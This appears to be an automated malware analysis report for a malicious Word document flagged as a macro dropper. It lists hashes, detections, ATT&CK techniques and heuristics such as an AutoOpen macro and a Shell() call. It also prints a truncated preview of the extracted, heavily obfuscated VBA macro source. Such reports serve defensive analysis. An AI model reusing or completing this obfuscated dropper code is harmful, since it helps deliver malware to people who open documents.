Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a42eef4cadf89fef…

MALICIOUS

Office (OLE)

187.0 KB Created: 2018-02-27 05:20:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: fe1c9127022f8df92f1de01341d1bb56 SHA-1: 1bc549eac3e8fb2ffc6d86f043e85edbc7b1069a SHA-256: a42eef4cadf89fefb2b878fb44e5a50108ab2fd5fa485cbe7c72a4e11184c905
204 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes a Shell() call, indicating an attempt to execute external code. The ClamAV detection name 'Doc.Dropper.Agent-6458036-0' further supports its nature as a dropper. The VBA code is heavily obfuscated, making it difficult to determine the exact payload or download URL, but the presence of the Shell() call and the dropper signature strongly suggest it's designed to download and execute a secondary malicious component.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6458036-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6458036-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 59125 bytes
SHA-256: 1be18fb4337f1ab67d560a48fdea46d03729a890e7484eff76af6de475cec510
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 25 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "QXvBovhE"
Sub dFIWvUvrvqvI(zhjpfo)
   On Error Resume Next
   Dim JBYYZRhpkUSGj()
   ReDim HHHfPsuC(2)
   zfwHaORzPsKdbj(0) = 7072795
   dmFGbYpZppabJQ(1) = 9285757
   HGZsbJGbTVDNYp = Loo - 6174151
   WjlFpvUbqZ = 3389149 * 7076360
End Sub
Function QEsiwXquaiw()
On Error Resume Next
JIqfZS = "EZCisHQfv% tes&&!shFWFMDQIbww"
WtTPO = uXmnZksYt = wwVtVHlWOvi = (5643029 / jwjKjjnuAPll + 521620 * uspoOhtf * (5169498 / UslACShqQ / 7437532 - Tan(qsZIr / CBool(nwikIS / 7920465 / iYHTvrDWJqrvm))))
hFlnY = siiuUQOEz = fWaFjslM = (4866625 / JYtZWUvAUijRwT + 9094875 * zpoCami * (1613542 / zVlTdXiSzd / 3960761 - Tan(JYzUOjQjOaHK / CBool(swXWVXtlz / 4948182 / KjqKFzwqaZqRpi))))
bplHda = gjHBjhbyuf(JIqfZS, 13, 9)
VFckuzwiXsY = "cujvCvNsTdiWCrvIZDjp&&llvnrAO"
vpmnF = LYIkKosjV = bwzwFcCYczfV = (7051053 / nhQGZMmir + 7970119 * VkrlYiPRl * (24204 / NiiwTmR / 3624883 - Tan(pojzc / CBool(lKIwzEIYj / 8571806 / nDOPEzY))))
DiKWbRBm = YUicatANY = jhAtIAwFImCK = (973681 / uFIzNE + 7051922 * oLZHqJjPwjjT * (7885928 / sSiCS / 1895990 - Tan(MVNPZhVkBzUEws / CBool(TBKnWsoTimUs / 2568379 / ULlaqbpMsQcNi))))
qfkVBzktalp = gjHBjhbyuf(VFckuzwiXsY, 6, 4)
ZQjfo = "MlIqPkwoqKsBTiXfNjHNzsdV tes&&eh=%5rwsncPCDB"
aQinljiFIip = RNIkhIhdc = uOfpL = (4810404 / vbKJiZSh + 2923437 * BPwnhVsvRlwqu * (9280330 / JpsjLRpzFshnLj / 7733325 - Tan(CSRjNdNNsmtun / CBool(FhONYjaA / 784399 / LQsvAhhLc))))
vphzlXtmAUJ = wvXdPifbf = YXuMnnAZwLEP = (493199 / sUwlSNK + 965452 * RqWhEwisIvM * (6003111 / QEEHz / 1659727 - Tan(AYhsIkvluJS / CBool(TqdVRFwaTS / 9293322 / qjrEsjKN))))
tvCTa = gjHBjhbyuf(ZQjfo, 9, 12)
QPzjsH = "MZqoqZquiThvdDBMThaDfiEEavRHzQU"
lVszQzIjW = pKSOKjBKb = wUAKfMmsliI = (3847578 / mbhwPmQPIbwY + 8286970 * HqqaBMijBtrj * (2623805 / cGNzVajncilXKU / 8100511 - Tan(CmobfBvIHHGGa / CBool(HjYUmCOzCQFU / 2557396 / odCJqI))))
DZNQCbmKI = rFrmRbKFs = UZNoaBz = (7932612 / oiCjXWKonTd + 959220 * QRzCsmDLrIGnwf * (1371448 / hniNbBioV / 3941065 - Tan(GmXmOJXJ / CBool(rYJMlWzVwwaqDP / 1141368 / zrUOnIjXWzY))))
JafOXzffw = gjHBjhbyuf(QPzjsH, 6, 2)
fBTcGkv = "Bfvv% tes&&s=%4raMzORLohTJ"
BRfzDw = BnldSjIst = cicFfsokjIFcIi = (4117486 / BkrjOjKtLh + 8134148 * fjkiuLwaL * (353493 / MVDnwdZ / 6071242 - Tan(HqiXB / CBool(jvXiuz / 415053 / EzYWhwk))))
nUYSIt = uQzXiNKtO = lCnRowMh = (7210274 / CCcHPKHwnY + 1342878 * iSNajzWvWCJSI * (9185964 / wQBLovR / 6460427 - Tan(nrIUGMFqJsTUE / CBool(OMLqIzt / 1976470 / TvKilMSwRlVmrr))))
CYpzXClncZH = gjHBjhbyuf(fBTcGkv, 10, 15)
ZoFjQztQvf = "XjKCKU%2rav%!=%8rav% tesizzzFHzOYs"
DuwuZLXKzGA = FtfNTXTiJ = ajiPQqJI = (6889297 / VmwYzjpDHNjI + 5235217 * OjfvFrJp * (8917205 / EoutifVokdjSv / 1310407 - Tan(miPWwkRI / CBool(BjLODsbf / 8580697 / UImvVc))))
RzDEDwuR = rvXzkwlYf = JuSzGmjc = (8609562 / THksBAZnmGAmtu + 954115 * uKjEznikjhMu * (289918 / cJCWIkKfvjW / 9654113 - Tan(YRWBYsRsVwnB / CBool(YzJUnilEirj / 4354689 / UiPOwizBKTMj))))
pKuZq = gjHBjhbyuf(ZoFjQztQvf, 11, 18)
NaIAVsa = "UCdsiiXMaEqiEsjrn"
SQQil = QSjSwPOLz = XnwwEBWQKhMJ = (8265730 / BEacztwG + 4673852 * NfdhOuFlA * (7962729 / zzQGS / 9909406 - Tan(IvQGbPRuomL / CBool(rQOXl / 4833320 / pCQcbJBRB))))
wLXWahDkSD = EJWhuRwcJ = DOQUFT = (4901256 / zmkcfhvKdrTozZ + 9458899 * qiPiJaRm * (2657370 / VIZhKJBNDf / 3242982 - Tan(ipljnHIUJi / CBool(AibDvmXU / 9676331 / ALnlvhK))))
mOHOkYOz = gjHBjhbyuf(NaIAVsa, 11, 1)
VLGBZfkURTo = "PZzqRjRlLinLMBwQPKWkhFvav%Aj"
nQZvVETkmi = AwrwIBmza = BPStUOEjIkqZo = (1994881 / mGnFqcbuuGi + 2070114 * osovJmJhP * (9296675 / ZEvvi / 916945 - Tan(JjRVvwukQZ / CBool(YnlDjsQvv / 3128960 / AAWKj))))
qmXmLWz = fmjjPpfZi = SzqAZV = (6872761 / rISWXDi + 6686933 * KHfRwk * (2898415 / wktFiHM / 4835806 - Tan(aTFurjRof / CBool(RJOdB / 6346068 / VRwpTMbmblq))))
CNaBq = gjHBjhbyuf(VLGBZfkURTo, 3, 3)
wuPdwpcJ = "MUHwziGdHrvDEz
... (truncated)

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